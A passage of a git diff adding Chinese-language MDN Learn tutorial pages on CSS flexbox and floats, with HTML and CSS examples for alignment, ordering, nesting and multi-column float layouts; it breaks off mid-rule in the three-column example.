+<h2 id="flex_模型说明">flex 模型说明</h2> + +<p>当元素表现为 flex 框时,它们沿着两个轴来布局:</p> + +<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p> + +<ul> + <li><strong>主轴(main axis)</strong>是沿着 flex 元素放置的方向延伸的轴(比如页面上的横向的行、纵向的列)。该轴的开始和结束被称为<strong> main start</strong> 和<strong> main end</strong>。</li> + <li><strong>交叉轴(cross axis)</strong>是垂直于 flex 元素放置方向的轴。该轴的开始和结束被称为 <strong>cross start</strong> 和<strong> cross end</strong>。</li> + <li>设置了 <code>display: flex</code> 的父元素(在本例中是 {{htmlelement("section")}})被称之为 <strong>flex 容器(flex container)。</strong></li> + <li>在 flex 容器中表现为柔性的盒子的元素被称之为 <strong>flex 项</strong>(<strong>flex item</strong>)(本例中是 {{htmlelement("article")}} 元素。</li> +</ul> + +<p>了解这些术语以便你阅读后续章节。 如果您对使用的任何术语感到困惑,您可以随时返回这里。</p> + +<h2 id="列还是行">列还是行?</h2> + +<p>弹性盒子提供了 {{cssxref("flex-direction")}} 这样一个属性,它可以指定主轴的方向(弹性盒子子类放置的地方)— 它默认值是 <code>row</code>,这使得它们在按你浏览器的默认语言方向排成一排(在英语/中文浏览器中是从左到右)。</p> + +<p>尝试将以下声明添加到 section 元素的 css 规则里:</p> + +<pre class="brush: css">flex-direction: column;</pre> + +<p>你会看到,这会将那些元素设置为列布局,就像我们添加这些 CSS 之前。在继续之前,请从示例中删除此规则。</p> + +<div class="note"> +<p><strong>注意:</strong>你还可以使用 <code>row-reverse </code>和 <code>column-reverse </code>值反向排列 flex 项目。用这些值试试看吧!</p> +</div> + +<h2 id="换行">换行</h2> + +<p>当你在布局中使用定宽或者定高的时候,可能会出现问题即处于容器中的 弹性盒子子元素会溢出,破坏了布局。你可以看一下 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">弹性盒子-wrap0.html</a> 示例(你也可以拷贝到本地),如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p> + +<p>在这里我们看到,子代确实超出了它们的容器。 解决此问题的一种方法是将以下声明添加到 section css 规则中:</p> + +<pre class="brush: css">flex-wrap: wrap</pre> + +<p>同时,把以下规则也添加到{{htmlelement("article")}} 规则中:</p> + +<pre class="brush: css">flex: 200px;</pre> + +<p>现在尝试一下吧;你会看到布局比原来好多了:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;">现在我们有了多行 弹性盒子— 任何溢出的元素将被移到下一行。在 article 元素上设置的 flex: 200px 规则,意味着每个元素的宽度至少是200px;我们将在后面更详细地讨论这个属性。你可能还注意到,最后一行上的最后几个项每个都变得更宽,以便把整个行填满。</p> + +<p>但是这里我们可以做得更多。首先,改变 {{cssxref("flex-direction")}} 属性值为 <code>row-reverse</code> — 你会看到仍然有多行布局,但是每一行元素排列的方向和原来是相反的了。</p> + +<h2 id="flex-flow_缩写">flex-flow 缩写</h2> + +<p>到这里,应当注意到存在着 {{cssxref("flex-direction")}} 和 {{cssxref("flex-wrap")}} — 的缩写 {{cssxref("flex-flow")}}。比如,你可以将</p> + +<pre class="brush: css">flex-direction: row; +flex-wrap: wrap;</pre> + +<p>替换为</p> + +<pre class="brush: css">flex-flow: row wrap;</pre> + +<h2 id="flex_项的动态尺寸">flex 项的动态尺寸</h2> + +<p>现在让我们回到第一个例子,看看是如何控制 flex 项占用空间的比例的。打开你本地的 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">弹性盒子0.html</a>,或者拷贝 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox1.html">弹性盒子1.html</a> 作为新的开始(<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox1.html">查看线上</a>)。</p> + +<p>第一步,将以下规则添加到 CSS 的底部:</p> + +<pre class="brush: css">article { + flex: 1; +}</pre> + +<p>这是一个无单位的比例值,表示每个 flex 项沿主轴的可用空间大小。本例中,我们设置 {{htmlelement("article")}} 元素的 flex 值为 1,这表示每个元素占用空间都是相等的,占用的空间是在设置 padding 和 margin 之后剩余的空间。因为它是一个比例,这意味着将每个 flex 项的设置为 400000 的效果和 1 的时候是完全一样的。</p> + +<p>现在在上一个规则下添加:</p> + +<pre class="brush: css">article:nth-of-type(3) { + flex: 2; +}</pre> + +<p>现在当你刷新,你会看到第三个 {{htmlelement("article")}} 元素占用了两倍的可用宽度和剩下的一样 — 现在总共有四个比例单位可用。 前两个 flex 项各有一个,因此它们占用每个可用空间的1/4。 第三个有两个单位,所以它占用2/4或这说是1/2的可用空间。</p> + +<p>您还可以指定 flex 的最小值。 尝试修改现有的 article 规则:</p> + +<pre class="brush: css">article { + flex: 1 200px; +} + +article:nth-of-type(3) { + flex: 2 200px; +}</pre> + +<p>这表示“每个flex 项将首先给出200px的可用空间,然后,剩余的可用空间将根据分配的比例共享“。 尝试刷新,你会看到分配空间的差别。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p> + +<p>弹性盒子的真正价值可以体现在它的灵活性/响应性,如果你调整浏览器窗口的大小,或者增加一个 {{htmlelement("article")}} 元素,这时的布局仍旧是好的。</p> + +<h2 id="flex_缩写与全写">flex: 缩写与全写</h2> + +<p>{{cssxref("flex")}} 是一个可以指定最多三个不同值的缩写属性:</p> + +<ul> + <li>第一个就是上面所讨论过的无单位比例。可以单独指定全写 {{cssxref("flex-grow")}} 属性的值。</li> + <li>第二个无单位比例 — {{cssxref("flex-shrink")}} — 一般用于溢出容器的 flex 项。这指定了从每个 flex 项中取出多少溢出量,以阻止它们溢出它们的容器。 这是一个相当高级的弹性盒子功能,我们不会在本文中进一步说明。</li> + <li>第三个是上面讨论的最小值。可以单独指定全写 {{cssxref("flex-basis")}} 属性的值。</li> +</ul> + +<p>我们建议不要使用全写属性,除非你真的需要(比如要去覆盖之前写的)。使用全写会多写很多的代码,它们也可能有点让人困惑。</p> + +<h2 id="水平和垂直对齐">水平和垂直对齐</h2> + +<p>还可以使用 弹性盒子的功能让 flex 项沿主轴或交叉轴对齐。让我们一起看一下新例子 — <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flex-align0.html">flex-align0.html</a>(<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flex-align0.html">在线浏览</a>)— 我们将会有一个整洁,灵活的按钮/工具栏。 此时,你看到了一个水平菜单栏,其中一些按钮卡在左上角,就像下面这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13414/flexbox-example5.png" style="display: block; height: 77px; margin: 0px auto; width: 600px;"></p> + +<p>首先,拷贝一份到本地。</p> + +<p>然后,将下面的 CSS 添加到例子的底部:</p> + +<pre class="brush: css">div { + display: flex; + align-items: center; + justify-content: space-around; +}</pre> + +<p>刷新一下页面,你就会看到这些按钮很好的垂直水平居中了。我们是通过下面所说的两个新的属性做到的。</p> + +<p>{{cssxref("align-items")}} 控制 flex 项在交叉轴上的位置。</p> + +<ul> + <li>默认的值是 <code>stretch</code>,其会使所有 flex 项沿着交叉轴的方向拉伸以填充父容器。如果父容器在交叉轴方向上没有固定宽度(即高度),则所有 flex 项将变得与最长的 flex 项一样长(即高度保持一致)。我们的第一个例子在默认情况下得到相等的高度的列的原因。</li> + <li>在上面规则中我们使用的 <code>center</code> 值会使这些项保持其原有的高度,但是会在交叉轴居中。这就是那些按钮垂直居中的原因。</li> + <li>你也可以设置诸如 <code>flex-start</code> 或 <code>flex-end</code> 这样使 flex 项在交叉轴的开始或结束处对齐所有的值。查看 {{cssxref("align-items")}} 了解更多。</li> +</ul> + +<p>你可以用 {{cssxref("align-self")}} 属性覆盖 {{cssxref("align-items")}} 的行为。比如,你可以这样:</p> + +<pre class="brush: css">button:first-child { + align-self: flex-end; +}</pre> + +<p>去看看它产生的效果,然后删除它。</p> + +<p>{{cssxref("justify-content")}} 控制 flex 项在主轴上的位置。</p> + +<ul> + <li>默认值是 <code>flex-start</code>,这会使所有 flex 项都位于主轴的开始处。</li> + <li>你也可以用 <code>flex-end</code> 来让 flex 项到结尾处。</li> + <li><code>center</code> 在 <code>justify-content</code> 里也是可用的,可以让 flex 项在主轴居中。</li> + <li>而我们上面用到的值 <code>space-around</code> 是很有用的——它会使所有 flex 项沿着主轴均匀地分布,在任意一端都会留有一点空间。</li> + <li>还有一个值是 <code>space-between</code>,它和 <code>space-around</code> 非常相似,只是它不会在两端留下任何空间。</li> +</ul> + +<p>在继续下面之前,多多使用提到过的属性吧,看看它们的效果。</p> + +<h2 id="flex_项排序">flex 项排序</h2> + +<p>弹性盒子也有可以改变 flex 项的布局位置的功能,而不会影响到源顺序(即 dom 树里元素的顺序)。这也是传统布局方式很难做到的一点。</p> + +<p>代码也很简单,将下面的 CSS 添加到示例代码下面。</p> + +<pre class="brush: css">button:first-child { + order: 1; +}</pre> + +<p>刷新下,然后你会看到 "Smile" 按钮移动到了主轴的末尾。下面我们谈下它实现的一些细节:</p> + +<ul> + <li>所有 flex 项默认的 {{cssxref("order")}} 值是 0。</li> + <li>order 值大的 flex 项比 order 值小的在显示顺序中更靠后。</li> + <li>相同 order 值的 flex 项按源顺序显示。所以假如你有四个元素,其 order 值分别是2,1,1和0,那么它们的显示顺序就分别是第四,第二,第三,和第一。</li> + <li>第三个元素显示在第二个后面是因为它们的 order 值一样,且第三个元素在源顺序中排在第二个后面。</li> +</ul> + +<p>你也可以给 order 设置负值使它们比值为 0 的元素排得更前面。比如,你可以设置 "Blush" 按钮排在主轴的最前面:</p> + +<pre class="brush: css">button:last-child { + order: -1; +}</pre> + +<h2 id="flex_嵌套">flex 嵌套</h2> + +<p>弹性盒子也能创建一些颇为复杂的布局。设置一个元素为flex项目,那么他同样成为一个 flex 容器,它的孩子(直接子节点)也表现为 flexible box 。看一下 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/complex-flexbox.html">complex-弹性盒子.html</a>(<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/complex-flexbox.html">在线浏览</a>)。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13418/flexbox-example7.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p> + +<p>这个例子的 HTML 是相当简单的。我们用一个 {{htmlelement("section")}} 元素包含了三个 {{htmlelement("article")}}元素。第三个 {{htmlelement("article")}} 元素包含了三个 {{htmlelement("div")}}:</p> + +<pre>section - article + article + article - div - button + div button + div button + button + button</pre> + +<p>现在让我们看一下布局用到的代码。</p> + +<p>首先,我们设置 {{htmlelement("section")}} 的子节点布局为 flexible box。</p> + +<pre class="brush: css">section { + display: flex; +}</pre> + +<p>下面我们给 {{htmlelement("article")}} 元素设置 flex 值。特别注意这里的第二条CSS规则—我们设置第三个 {{htmlelement("article")}} 元素的子节点的布局同样为 flex ,但是属性值为列布局。</p> + +<pre class="brush: css">article { + flex: 1 200px; +} + +article:nth-of-type(3) { + flex: 3 200px; + display: flex; + flex-flow: column; +} +</pre> + +<p>接下来,我们选择了第一个 {{htmlelement("div")}}。首先使用 <code>flex: 1 100px;</code> 简单的给它一个最小的高度 100px,然后设置它的子节点({{htmlelement("button")}} 元素)为 flex 项。在这里我们将它们放在一个包装行(wrap row)中,使它们居中对齐,就像我们在前面看到的单个按钮示例中做的那样。 </p> + +<pre class="brush: css">article:nth-of-type(3) div:first-child { + flex: 1 100px; + display: flex; + flex-flow: row wrap; + align-items: center; + justify-content: space-around; +}</pre> + +<p>最后,我们给按钮设置大小,有意思的是我们给它一个值为1的 flex 属性。如果你调整浏览器窗口宽度,你会看到这是一个非常有趣的效果。按钮将尽可能占用最多的空间,尽可能多的堆在同一条线上,但是当它们不再适合在同一条线上,他们中的一些会到下一行去。</p> + +<pre class="brush: css">button { + flex: 1; + margin: 5px; + font-size: 18px; + line-height: 1.5; +}</pre> + +<h2 id="跨浏览器兼容性">跨浏览器兼容性</h2> + +<p>大多数浏览器都支持 弹性盒子,诸如 Firefox, Chrome, Opera, Microsoft Edge 和 IE 11,较新版本的 Android/iOS 等等。但是你应该要意识到仍旧有被人使用的老浏览器不支持 弹性盒子(或者支持,但是只是支持非常非常老版本的 弹性盒子)。</p> + +<p>虽然你只是在学习和实验,这不太要紧; 然而,如果您正在考虑在真实网站中使用弹性盒子,则需要进行测试,并确保在尽可能多的浏览器中您的用户体验仍然可以接受。</p> + +<p>弹性盒子相较其他一些 CSS 特性可能更为棘手。 例如,如果浏览器缺少 CSS 阴影,则该网站可能仍然可用。 但是假如不支持 弹性盒子功能就会完全打破布局,使其不可用。</p> + +<p>我们将在未来的模块中讨论克服棘手的跨浏览器支持问题的策略。</p> + +<h2 id="测试你的技能">测试你的技能</h2> + +<p>我们在文章里面覆盖了很多内容,但你是否能记住最重要的知识? 在你继续学习前,你可以进行<a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox_skills">测试</a>来验证你是否掌握了这些知识。</p> + +<h2 id="总结">总结</h2> + +<p>到这里,介绍弹性盒子的基础知识就结束了。 我们希望你体会到乐趣,并且玩的开心,能随着你的学习与你一起向前。 接下来,我们将看到CSS布局的另一个重要方面—网格系统。</p> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Practical_positioning_examples", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div> diff --git a/files/zh-cn/learn/css/css_layout/floats/index.html b/files/zh-cn/learn/css/css_layout/floats/index.html new file mode 100644 index 0000000000..80e50f515e --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/floats/index.html @@ -0,0 +1,550 @@ +--- +title: 浮动 +slug: Learn/CSS/CSS_layout/Floats +tags: + - CSS + - Guide + - 列 + - 初学者 + - 布局 + - 教程 + - 浮动 + - 清除 +translation_of: Learn/CSS/CSS_layout/Floats +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">{{cssxref("float")}} 属性最初只用于在成块的文本内浮动图像,但是现在它已成为在网页上创建多列布局的最常用工具之一。本文将阐述它的有关知识。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">要求:</th> + <td>HTML基础知识(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">入门 HTML</a>),和CSS的工作理念(学习 <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">入门 CSS</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学习如何创建浮动特性,比如首字下沉、浮动图像,和多个列在网页布局。</td> + </tr> + </tbody> +</table> + +<h2 id="浮动的背景知识">浮动的背景知识</h2> + +<p>最初,引入 {{cssxref("float")}} 属性是为了能让 web 开发人员实现简单的布局,包括在一列文本中浮动的图像,文字环绕在它的左边或右边。你可能在报纸版面上看到过。</p> + +<p>但 Web 开发人员很快意识到,任何东西都可以浮动,而不仅仅是图像,所以浮动的使用范围扩大了。之前的 <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Active_learning_A_fancy_paragraph">fancy paragraph example</a> 的课程展示了如何使用浮动创建一个有趣的drop-cap(首字下沉)效果。</p> + +<p>浮动曾被用来实现整个网站页面的布局,它使信息列得以横向排列(默认的设定则是按照这些列在源代码中出现的顺序纵向排列)。目前出现了更新更好的页面布局技术,所以使用浮动来进行页面布局应被看作<a href="/zh-CN/docs/Learn/CSS/CSS_layout/传统的布局方法">传统的布局方法。</a></p> + +<p>在这一章中,我们仅就浮动这一命令本身的性能展开讲解。</p> + +<h2 id="简单的例子">简单的例子</h2> + +<p>让我们来探讨如何使用浮动。我们将从一个非常简单的例子开始,包括在图像周围浮动一个文本块。你可以跟随在你的电脑上创建新的 <code>index.html</code> 文件,以填充它 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple HTML template</a>, 以下代码插入它在适当的地方。底部的部分你可以看到一个它应该是什么样子的例子。</p> + +<p>首先,我们写一些简单的HTML——添加以下到HTML的{{htmlelement("body")}}内,删除之前{{htmlelement("body")}}里面的东西:</p> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<img src="https://mdn.mozillademos.org/files/13340/butterfly.jpg" alt="A pretty butterfly with red, white, and brown coloring, sitting on a large leaf"> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p></pre> + +<p>现在将以下CSS应用到您的HTML (使用一个{{htmlelement("style")}} 元素或一个{{htmlelement("link")}} 到一个单独的 <code>.css </code>文件——你来选择):</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +p { + line-height: 2; + word-spacing: 0.1rem; +}</pre> + +<p>如果你现在保存并刷新,你会看到和你预期的效果差不多——图片坐落在文本的上方,目前看起来有点丑陋。我们本可以让图片在它的容器内居中,但取而代之,我们将使用float来让图片周围的文本浮起来。将以下规则添加到你之前的规则下面:</p> + +<pre class="brush: css notranslate">img { + float: left; + margin-right: 30px; +}</pre> + +<p>现在,如果您保存和刷新,你会看到类似下面的东西:</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><h1>Simple float example</h1> + +<img src="https://mdn.mozillademos.org/files/13340/butterfly.jpg" alt="A pretty butterfly with red, white, and brown coloring, sitting on a large leaf"> + +<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> + +<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +p { + line-height: 2; + word-spacing: 0.1rem; +} + +img { + float: left; + margin-right: 30px; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', '100%', 800) }}</p> + +<p>因此,让我们考虑一下浮动是如何工作的——浮动元素 (这个例子中的{{htmlelement("img")}} 元素)会脱离正常的文档布局流,并吸附到其父容器的左边 (这个例子中的{{htmlelement("body")}}元素)。在正常布局中位于该浮动元素之下的内容,此时会围绕着浮动元素,填满其右侧的空间。</p> + +<p>注意浮动内容仍然遵循盒子模型诸如外边距和边界。我们设置一下图片右侧的外边距就能阻止右侧的文字紧贴着图片。</p> + +<p>向右浮动的内容是一样的效果,只是反过来了——浮动元素会吸附到右边,而其他内容将从左侧环绕它。尝试将上一个例子中的浮动值改为 <code>right</code> ,再把 <code>margin-right</code> 换成 <code>margin-left</code> ,看看结果是什么。</p> + +<h2 id="再看我们的首字下沉例子">再看我们的首字下沉例子</h2> + +<p>如上所述,我们的 <a href="/en-US/Learn/CSS/Introduction_to_CSS/Selectors#Active_learning_A_fancy_paragraph">fancy paragraph example</a> 从早先的课程精选了一个漂亮的首字下沉。在这个例子中,我们有一个简单的段落:</p> + +<pre class="brush: html notranslate"><p>This is my very important paragraph. + I am a distinguished gentleman of such renown that my paragraph + needs to be styled in a manner befitting my majesty. Bow before +my splendour, dear students, and go forth and learn CSS!</p></pre> + +<p>我们的CSS看起来像这样:</p> + +<pre class="brush: css notranslate">p { + width: 400px; + margin: 0 auto; +} + +p::first-line { + text-transform: uppercase; +} + +p::first-letter { + font-size: 3em; + border: 1px solid black; + background: red; + float: left; + padding: 2px; + margin-right: 4px; +}</pre> + +<p>结果如下:</p> + +<p>{{ EmbedLiveSample('再看我们的首字下沉例子', '100%', 130) }}</p> + +<p>这里的效果与我们在图像的第一个例子中所做的没有很大的不同,但是这一次,我们在信中的第一个字母后面的其余部分是浮动的,在使这封信看起来显得又大又大胆又有趣之后。</p> + +<p>你可以漂浮任何的东西,只要有两个项目的空间,以配合在一起。这使我们很好地谈论多列布局。</p> + +<h2 id="多列浮动布局">多列浮动布局</h2> + +<p>浮动通常用于创建多个列布局,并且由于其广泛的浏览器支持已经有相当一段时间。尽管事实上,他们不是真的打算这个工作,并有一些奇怪的副作用必须处理,你会在后面的文章中看到。</p> + +<h3 id="两列布局">两列布局</h3> + +<p>让我们先从最简单的例子——两列布局。您可以通过创建一个新的 <code>index.html</code> 文件在您的计算机上,用<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple HTML template</a>填充它, 并在适当的地方插入下面的代码。在本节的底部,您可以看到一个活的例子,最终代码应该看起来像。</p> + +<p>首先,我们需要一些内容放入我们的列。使用以下内容替换body中的任何内容:</p> + +<pre class="brush: html notranslate"><h1>2 column layout example</h1> +<div> + <h2>First column</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div></pre> + +<p>每个列都需要一个外部元素来包含其内容,并让我们一次操作它的所有内容。在这个例子中,我们选择了{{htmlelement("div")}},但你可以选择更多语义合适的东西{{htmlelement("article")}}、{{htmlelement("section")}}、和{{htmlelement("aside")}},诸如此类。</p> + +<p>现在为CSS将以下内容应用到HTML以提供一些基本设置:</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +}</pre> + +<p>在宽度达到900px之前,整个视图的宽度将达到90%,在超过900px后,它将保持在这个宽度,并在视口中居中。默认情况下,子元素(这个{{htmlelement("h1")}} 和两个 {{htmlelement("div")}})将跨越整个body宽度的100%。如果我们希望将两个{{htmlelement("div")}}放在一起,那么我们需要将它们的宽度设置为父元素的宽度的100%,或者更小,这样它们就可以彼此匹配。将下面的内容添加到CSS的底部:</p> + +<pre class="brush: css notranslate">div:nth-of-type(1) { + width: 48%; +} + +div:nth-of-type(2) { + width: 48%; +}</pre> + +<p>在这里我们设置了他们的父亲的宽度的48% —— 这总计96%,留下我们4%自由作为两列之间的沟槽,给内容一些空间呼吸。现在我们只需要浮动列,像这样:</p> + +<pre class="brush: css notranslate">div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +}</pre> + +<p>把这些结合在一起应该跟我们结果一样:</p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><h1>2 column layout example</h1> + +<div> + <h2>First column</h2> + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> +</div> + +<div> + <h2>Second column</h2> + <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> +</div> +</pre> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 48%; + float: left; +} + +div:nth-of-type(2) { + width: 48%; + float: right; +} +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', '100%', 520) }}</p> + +<p>你会注意到,我们所有列使用宽度百分比——这是一个很好的策略,因为它创建一个流式布局(<strong>liquid layout</strong>),一种调整为不同的屏幕尺寸,并在较小的屏幕尺寸下保持相同的列宽度比例。请尝试调整浏览器窗口的宽度,以便自己查看。这是响应式网页设计的一个有价值的工具,我们将在以后的模块中讨论。</p> + +<div class="note"> +<p><strong>注意:</strong>你可以看到这个例子运行在 <a href="https://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a> (参见 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/0_two-column-layout.html">the source code</a>).</p> +</div> + +<p>需要注意的一件事是,当它们变得非常窄时,列就会变得很糟糕。切换回窄屏幕的单列布局通常是有意义的(如手机),使用媒体查询可以实现这一功能。再一次,你们将在未来的响应式网页设计模块中学习这些知识。</p> + +<p>另一种选择是将宽度设置为一个固定的单位如rem或像素——你可以看到一个例子<code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/two-column-layout-fixed.html">two-column-layout-fixed.html</a></code> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/floats/two-column-layout-fixed.html">see source code</a>),或者通过删除<code>max-width</code> 声明来转换您自己的示例,并改变各个宽度为 <code>900px</code>, <code>430px</code>和 <code>430px</code>。这就是<strong>固定宽度布局</strong>(<strong>fixed-width layout</strong>)——如果您现在调整浏览器大小,您将看到布局不再调整以适应视图宽度,在尺寸更小时您将需要滚动来查看它的全部。</p> + +<p>现在我们将转去使用流体布局。</p> + +<h3 id="三列布局">三列布局</h3> + +<p>你已经有了一个两列布局工作,添加一个第三列(或更多)并不是太难。你只需要添加另一个列在同一个父元素。开始通过添加以下 {{htmlelement("div")}}就在另外两个后面(或使用 <code><a href="https://mdn.github.io/learning-area/css/css-layout/floats/0_two-column-layout.html">0_two-column-layout.html</a></code> 作为开始):</p> + +<pre class="brush: html notranslate"><div> + <h2>Third column</h2> + <p>Nam consequat scelerisque mattis. Duis pulvinar dapibus magna, eget congue purus mollis sit amet. Sed euismod lacus sit amet ex tempus, a semper felis ultrices. Maecenas a efficitur metus. Nullam tempus pharetra pharetra. Morbi in leo mauris. Nullam gravida ligula eros, lacinia sagittis lorem fermentum ut. Praesent dapibus eros vel mi pretium, nec convallis nibh blandit. Sed scelerisque justo ac ligula mollis laoreet. In mattis, risus et porta scelerisque, augue neque hendrerit orci, sit amet imperdiet risus neque vitae lectus. In tempus lectus a quam posuere vestibulum. Duis quis finibus mi. Nullam commodo mi in enim maximus fermentum. Mauris finibus at lorem vel sollicitudin.</p> +</div></pre> + +<p>现在更新你的CSS如下:</p> + +<pre class="brush: css notranslate">body { + width: 90%; + max-width: 900px; + margin: 0 auto; +} + +div:nth-of-type(1) { + width: 36%; + float: left; +} + +div:nth-of-type(2) { + width: 30%; + float: left; + margin-left: 4%; +} + +div:nth-of-type(3) { + width: 